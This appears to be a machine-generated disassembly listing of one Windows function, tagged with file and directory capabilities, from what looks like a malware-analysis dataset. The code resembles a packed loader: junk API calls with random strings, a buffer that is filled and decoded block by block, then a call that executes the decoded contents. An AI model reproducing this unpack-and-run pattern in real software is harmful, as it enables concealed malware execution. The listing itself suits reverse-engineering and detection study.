Function at 0x4012b0
Capabilities:
Delete directory
Get disk information
Move file

Disassembly:
mov eax, 0x427251
call fcn.004262ac
sub esp, 0x824
cmp dword [0x2b04b04], 0x93
push ebx
push esi
push edi
jne 0x401318
push str.futurapoguzivuzinehi_fahohejut
push str.ceyawucujibuyazakasuxo_fawaf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor esi, esi
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], ax
push esi
mov dword [ebp - 4], esi
call fcn.00401590
push esi
push esi
call fcn.004016f7
push esi
push esi
call fcn.00401794
push esi
push esi
call fcn.004016f7
add esp, 0x1c
push esi
call fcn.00401ada
add dword [0x2b04b04], 0x1134b
push dword [0x2b04b04]
mov eax, dword [0x42e9a0]
xor esi, esi
push esi
mov dword [0x2b05568], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x2b044b8], eax
call fcn.004011fb
xor edi, edi
cmp dword [0x2b04b04], esi
jbe 0x40138f
mov eax, dword [0x2b05568]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2b044b8]
mov byte [ecx + edi], al
cmp dword [0x2b04b04], 0x490
jne 0x401386
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
inc edi
cmp edi, dword [0x2b04b04]
jb 0x40134f
xor edi, edi
mov eax, dword [0x2b04b04]
add eax, edi
cmp eax, 0x8d
jne 0x4013ce
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push esi
call dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
inc edi
cmp edi, 0x38681
jl 0x401391
mov eax, dword [0x2b04b04]
mov ecx, dword [0x2b044b8]
shr eax, 3
cmp eax, esi
jbe 0x40141a
mov edi, dword [sym.imp.KERNEL32.dll_FreeConsole]
mov ebx, ecx
mov dword [ebp - 0x10], eax
cmp dword [0x2b04b04], 0x959
jne 0x40140c
call edi
call edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push ebx
call fcn.0040107e
add ebx, 8
dec dword [ebp - 0x10]
jne 0x4013f4
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x40143a
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x2b044b8], eax
inc edi
cmp edi, 0x674db
jl 0x40141c
push 0x7b
pop ebx
cmp dword [0x2b04b04], 0x86
jne 0x4014a4
push esi
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
push str.webose
push str.liparamudusoxuxonuselotibojuma
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
lea eax, [ebp - 0x830]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
xor eax, eax
mov word [ebp - 0x10], ax
lea edi, [ebp - 0xe]
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_GetAce]
dec ebx
jne 0x401446
call fcn.00401000
call dword [0x2b044b8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret